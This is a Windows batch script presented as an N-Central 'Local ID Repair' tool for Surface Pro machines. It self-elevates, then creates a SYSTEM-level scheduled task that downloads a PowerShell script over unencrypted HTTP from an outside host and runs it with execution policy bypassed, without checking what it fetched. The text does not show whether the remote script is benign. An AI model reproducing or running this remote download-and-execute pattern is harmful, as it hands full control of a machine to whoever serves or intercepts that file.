@echo off
:: ============================================================
:: TekSoft N-Central Surface Pro Local ID Repair
:: Version 1.0
:: User action: double-click this file and click Yes on UAC
:: ============================================================

:: Self-elevate to Administrator
net session >nul 2>&1
if %errorLevel% neq 0 (
    echo Requesting administrator access...
    powershell -Command "Start-Process '%~f0' -Verb RunAs"
    exit /b
)

:: Launch the PowerShell bootstrap as SYSTEM via scheduled task
powershell -NoProfile -ExecutionPolicy Bypass -Command ^
  "$action = New-ScheduledTaskAction -Execute 'powershell.exe' -Argument '-NoProfile -ExecutionPolicy Bypass -Command ""[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; $wc = New-Object System.Net.WebClient; $wc.DownloadFile(''http://bawiii.com/TekSoftBootstrap.ps1'', ''C:\TekSoft\TekSoftBootstrap.ps1''); & C:\TekSoft\TekSoftBootstrap.ps1""'"; ^
  "$principal = New-ScheduledTaskPrincipal -UserId 'SYSTEM' -LogonType ServiceAccount -RunLevel Highest"; ^
  "$settings = New-ScheduledTaskSettingsSet -ExecutionTimeLimit (New-TimeSpan -Hours 1)"; ^
  "if (-not (Test-Path 'C:\TekSoft')) { New-Item -ItemType Directory -Path 'C:\TekSoft' | Out-Null }"; ^
  "Register-ScheduledTask -TaskName 'TekSoftNcentralBootstrap' -Action $action -Principal $principal -Settings $settings -Force | Out-Null"; ^
  "Start-ScheduledTask -TaskName 'TekSoftNcentralBootstrap'"; ^
  "Write-Host 'TekSoft repair process started. You can close this window.'"

echo.
echo Repair process has been started. You can close this window.
echo Check C:\TekSoft\NcentralRepair.log for progress.
timeout /t 10
